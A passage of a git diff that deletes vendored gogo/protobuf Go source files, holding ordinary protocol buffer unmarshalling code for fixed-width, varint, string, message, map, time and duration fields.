append(*s, v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - s := f.toUint32Slice() - *s = append(*s, v) - return b[4:], nil -} - -func unmarshalFixedS32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - *f.toInt32() = v - return b[4:], nil -} - -func unmarshalFixedS32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.setInt32Ptr(v) - return b[4:], nil -} - -func unmarshalFixedS32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.appendInt32Slice(v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.appendInt32Slice(v) - return b[4:], nil -} - -func unmarshalBoolValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - // Note: any length varint is allowed, even though any sane - // encoder will use one byte. - // See https://github.com/golang/protobuf/issues/76 - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - // TODO: check if x>1? Tests seem to indicate no. - v := x != 0 - *f.toBool() = v - return b[n:], nil -} - -func unmarshalBoolPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - *f.toBoolPtr() = &v - return b[n:], nil -} - -func unmarshalBoolSlice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - s := f.toBoolSlice() - *s = append(*s, v) - b = b[n:] - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - s := f.toBoolSlice() - *s = append(*s, v) - return b[n:], nil -} - -func unmarshalFloat64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - *f.toFloat64() = v - return b[8:], nil -} - -func unmarshalFloat64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - *f.toFloat64Ptr() = &v - return b[8:], nil -} - -func unmarshalFloat64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - s := f.toFloat64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - s := f.toFloat64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFloat32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - *f.toFloat32() = v - return b[4:], nil -} - -func unmarshalFloat32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - *f.toFloat32Ptr() = &v - return b[4:], nil -} - -func unmarshalFloat32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - s := f.toFloat32Slice() - *s = append(*s, v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - s := f.toFloat32Slice() - *s = append(*s, v) - return b[4:], nil -} - -func unmarshalStringValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toString() = v - return b[x:], nil -} - -func unmarshalStringPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toStringPtr() = &v - return b[x:], nil -} - -func unmarshalStringSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - s := f.toStringSlice() - *s = append(*s, v) - return b[x:], nil -} - -func unmarshalUTF8StringValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toString() = v - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -func unmarshalUTF8StringPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toStringPtr() = &v - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -func unmarshalUTF8StringSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - s := f.toStringSlice() - *s = append(*s, v) - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -var emptyBuf [0]byte - -func unmarshalBytesValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - // The use of append here is a trick which avoids the zeroing - // that would be required if we used a make/copy pair. - // We append to emptyBuf instead of nil because we want - // a non-nil result even when the length is 0. - v := append(emptyBuf[:], b[:x]...) - *f.toBytes() = v - return b[x:], nil -} - -func unmarshalBytesSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := append(emptyBuf[:], b[:x]...) - s := f.toBytesSlice() - *s = append(*s, v) - return b[x:], nil -} - -func makeUnmarshalMessagePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - // First read the message field to see if something is there. - // The semantics of multiple submessages are weird. Instead of - // the last one winning (as it is for all other fields), multiple - // submessages are merged. - v := f.getPointer() - if v.isNil() { - v = valToPointer(reflect.New(sub.typ)) - f.setPointer(v) - } - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - return b[x:], err - } -} - -func makeUnmarshalMessageSlicePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := valToPointer(reflect.New(sub.typ)) - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - f.appendPointer(v) - return b[x:], err - } -} - -func makeUnmarshalGroupPtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireStartGroup { - return b, errInternalBadWireType - } - x, y := findEndGroup(b) - if x < 0 { - return nil, io.ErrUnexpectedEOF - } - v := f.getPointer() - if v.isNil() { - v = valToPointer(reflect.New(sub.typ)) - f.setPointer(v) - } - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - return b[y:], err - } -} - -func makeUnmarshalGroupSlicePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireStartGroup { - return b, errInternalBadWireType - } - x, y := findEndGroup(b) - if x < 0 { - return nil, io.ErrUnexpectedEOF - } - v := valToPointer(reflect.New(sub.typ)) - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - f.appendPointer(v) - return b[y:], err - } -} - -func makeUnmarshalMap(f *reflect.StructField) unmarshaler { - t := f.Type - kt := t.Key() - vt := t.Elem() - tagArray := strings.Split(f.Tag.Get("protobuf"), ",") - valTags := strings.Split(f.Tag.Get("protobuf_val"), ",") - for _, t := range tagArray { - if strings.HasPrefix(t, "customtype=") { - valTags = append(valTags, t) - } - if t == "stdtime" { - valTags = append(valTags, t) - } - if t == "stdduration" { - valTags = append(valTags, t) - } - if t == "wktptr" { - valTags = append(valTags, t) - } - } - unmarshalKey := typeUnmarshaler(kt, f.Tag.Get("protobuf_key")) - unmarshalVal := typeUnmarshaler(vt, strings.Join(valTags, ",")) - return func(b []byte, f pointer, w int) ([]byte, error) { - // The map entry is a submessage. Figure out how big it is. - if w != WireBytes { - return nil, fmt.Errorf("proto: bad wiretype for map field: got %d want %d", w, WireBytes) - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - r := b[x:] // unused data to return - b = b[:x] // data for map entry - - // Note: we could use #keys * #values ~= 200 functions - // to do map decoding without reflection. Probably not worth it. - // Maps will be somewhat slow. Oh well. - - // Read key and value from data. - var nerr nonFatal - k := reflect.New(kt) - v := reflect.New(vt) - for len(b) > 0 { - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - wire := int(x) & 7 - b = b[n:] - - var err error - switch x >> 3 { - case 1: - b, err = unmarshalKey(b, valToPointer(k), wire) - case 2: - b, err = unmarshalVal(b, valToPointer(v), wire) - default: - err = errInternalBadWireType // skip unknown tag - } - - if nerr.Merge(err) { - continue - } - if err != errInternalBadWireType { - return nil, err - } - - // Skip past unknown fields. - b, err = skipField(b, wire) - if err != nil { - return nil, err - } - } - - // Get map, allocate if needed. - m := f.asPointerTo(t).Elem() // an addressable map[K]T - if m.IsNil() { - m.Set(reflect.MakeMap(t)) - } - - // Insert into map. - m.SetMapIndex(k.Elem(), v.Elem()) - - return r, nerr.E - } -} - -// makeUnmarshalOneof makes an unmarshaler for oneof fields. -// for: -// message Msg { -// oneof F { -// int64 X = 1; -// float64 Y = 2; -// } -// } -// typ is the type of the concrete entry for a oneof case (e.g. Msg_X). -// ityp is the interface type of the oneof field (e.g. isMsg_F). -// unmarshal is the unmarshaler for the base type of the oneof case (e.g. int64). -// Note that this function will be called once for each case in the oneof. -func makeUnmarshalOneof(typ, ityp reflect.Type, unmarshal unmarshaler) unmarshaler { - sf := typ.Field(0) - field0 := toField(&sf) - return func(b []byte, f pointer, w int) ([]byte, error) { - // Allocate holder for value. - v := reflect.New(typ) - - // Unmarshal data into holder. - // We unmarshal into the first field of the holder object. - var err error - var nerr nonFatal - b, err = unmarshal(b, valToPointer(v).offset(field0), w) - if !nerr.Merge(err) { - return nil, err - } - - // Write pointer to holder into target field. - f.asPointerTo(ityp).Elem().Set(v) - - return b, nerr.E - } -} - -// Error used by decode internally. -var errInternalBadWireType = errors.New("proto: internal error: bad wiretype") - -// skipField skips past a field of type wire and returns the remaining bytes. -func skipField(b []byte, wire int) ([]byte, error) { - switch wire { - case WireVarint: - _, k := decodeVarint(b) - if k == 0 { - return b, io.ErrUnexpectedEOF - } - b = b[k:] - case WireFixed32: - if len(b) < 4 { - return b, io.ErrUnexpectedEOF - } - b = b[4:] - case WireFixed64: - if len(b) < 8 { - return b, io.ErrUnexpectedEOF - } - b = b[8:] - case WireBytes: - m, k := decodeVarint(b) - if k == 0 || uint64(len(b)-k) < m { - return b, io.ErrUnexpectedEOF - } - b = b[uint64(k)+m:] - case WireStartGroup: - _, i := findEndGroup(b) - if i == -1 { - return b, io.ErrUnexpectedEOF - } - b = b[i:] - default: - return b, fmt.Errorf("proto: can't skip unknown wire type %d", wire) - } - return b, nil -} - -// findEndGroup finds the index of the next EndGroup tag. -// Groups may be nested, so the "next" EndGroup tag is the first -// unpaired EndGroup. -// findEndGroup returns the indexes of the start and end of the EndGroup tag. -// Returns (-1,-1) if it can't find one. -func findEndGroup(b []byte) (int, int) { - depth := 1 - i := 0 - for { - x, n := decodeVarint(b[i:]) - if n == 0 { - return -1, -1 - } - j := i - i += n - switch x & 7 { - case WireVarint: - _, k := decodeVarint(b[i:]) - if k == 0 { - return -1, -1 - } - i += k - case WireFixed32: - if len(b)-4 < i { - return -1, -1 - } - i += 4 - case WireFixed64: - if len(b)-8 < i { - return -1, -1 - } - i += 8 - case WireBytes: - m, k := decodeVarint(b[i:]) - if k == 0 { - return -1, -1 - } - i += k - if uint64(len(b)-i) < m { - return -1, -1 - } - i += int(m) - case WireStartGroup: - depth++ - case WireEndGroup: - depth-- - if depth == 0 { - return j, i - } - default: - return -1, -1 - } - } -} - -// encodeVarint appends a varint-encoded integer to b and returns the result. -func encodeVarint(b []byte, x uint64) []byte { - for x >= 1<<7 { - b = append(b, byte(x&0x7f|0x80)) - x >>= 7 - } - return append(b, byte(x)) -} - -// decodeVarint reads a varint-encoded integer from b. -// Returns the decoded integer and the number of bytes read. -// If there is an error, it returns 0,0. -func decodeVarint(b []byte) (uint64, int) { - var x, y uint64 - if len(b) == 0 { - goto bad - } - x = uint64(b[0]) - if x < 0x80 { - return x, 1 - } - x -= 0x80 - - if len(b) <= 1 { - goto bad - } - y = uint64(b[1]) - x += y << 7 - if y < 0x80 { - return x, 2 - } - x -= 0x80 << 7 - - if len(b) <= 2 { - goto bad - } - y = uint64(b[2]) - x += y << 14 - if y < 0x80 { - return x, 3 - } - x -= 0x80 << 14 - - if len(b) <= 3 { - goto bad - } - y = uint64(b[3]) - x += y << 21 - if y < 0x80 { - return x, 4 - } - x -= 0x80 << 21 - - if len(b) <= 4 { - goto bad - } - y = uint64(b[4]) - x += y << 28 - if y < 0x80 { - return x, 5 - } - x -= 0x80 << 28 - - if len(b) <= 5 { - goto bad - } - y = uint64(b[5]) - x += y << 35 - if y < 0x80 { - return x, 6 - } - x -= 0x80 << 35 - - if len(b) <= 6 { - goto bad - } - y = uint64(b[6]) - x += y << 42 - if y < 0x80 { - return x, 7 - } - x -= 0x80 << 42 - - if len(b) <= 7 { - goto bad - } - y = uint64(b[7]) - x += y << 49 - if y < 0x80 { - return x, 8 - } - x -= 0x80 << 49 - - if len(b) <= 8 { - goto bad - } - y = uint64(b[8]) - x += y << 56 - if y < 0x80 { - return x, 9 - } - x -= 0x80 << 56 - - if len(b) <= 9 { - goto bad - } - y = uint64(b[9]) - x += y << 63 - if y < 2 { - return x, 10 - } - -bad: - return 0, 0 -} diff --git a/vendor/github.com/gogo/protobuf/proto/table_unmarshal_gogo.go b/vendor/github.com/gogo/protobuf/proto/table_unmarshal_gogo.go deleted file mode 100644 index 00d6c7ad..00000000 --- a/vendor/github.com/gogo/protobuf/proto/table_unmarshal_gogo.go +++ /dev/null @@ -1,385 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "io" - "reflect" -) - -func makeUnmarshalMessage(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - // First read the message field to see if something is there. - // The semantics of multiple submessages are weird. Instead of - // the last one winning (as it is for all other fields), multiple - // submessages are merged. - v := f // gogo: changed from v := f.getPointer() - if v.isNil() { - v = valToPointer(reflect.New(sub.typ)) - f.setPointer(v) - } - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - return b[x:], err - } -} - -func makeUnmarshalMessageSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := valToPointer(reflect.New(sub.typ)) - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - f.appendRef(v, sub.typ) // gogo: changed from f.appendPointer(v) - return b[x:], err - } -} - -func makeUnmarshalCustomPtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.New(sub.typ)) - m := s.Interface().(custom) - if err := m.Unmarshal(b[:x]); err != nil { - return nil, err - } - return b[x:], nil - } -} - -func makeUnmarshalCustomSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := reflect.New(sub.typ) - c := m.Interface().(custom) - if err := c.Unmarshal(b[:x]); err != nil { - return nil, err - } - v := valToPointer(m) - f.appendRef(v, sub.typ) - return b[x:], nil - } -} - -func makeUnmarshalCustom(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - - m := f.asPointerTo(sub.typ).Interface().(custom) - if err := m.Unmarshal(b[:x]); err != nil { - return nil, err - } - return b[x:], nil - } -} - -func makeUnmarshalTime(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := ×tamp{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - t, err := timestampFromProto(m) - if err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(t)) - return b[x:], nil - } -} - -func makeUnmarshalTimePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := ×tamp{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - t, err := timestampFromProto(m) - if err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&t)) - return b[x:], nil - } -} - -func makeUnmarshalTimePtrSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := ×tamp{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - t, err := timestampFromProto(m) - if err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&t)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeUnmarshalTimeSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := ×tamp{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - t, err := timestampFromProto(m) - if err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(t)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeUnmarshalDurationPtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &duration{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - d, err := durationFromProto(m) - if err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&d)) - return b[x:], nil - } -} - -func makeUnmarshalDuration(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &duration{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - d, err := durationFromProto(m) - if err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(d)) - return b[x:], nil - } -} - -func makeUnmarshalDurationPtrSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &duration{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - d, err := durationFromProto(m) - if err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&d)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeUnmarshalDurationSlice(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &duration{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - d, err := durationFromProto(m) - if err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(d)) - slice.Set(newSlice) - return b[x:], nil - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/text.go b/vendor/github.com/gogo/protobuf/proto/text.go deleted file mode 100644 index 87416afe..00000000 --- a/vendor/github.com/gogo/protobuf/proto/text.go +++ /dev/null @@ -1,930 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code 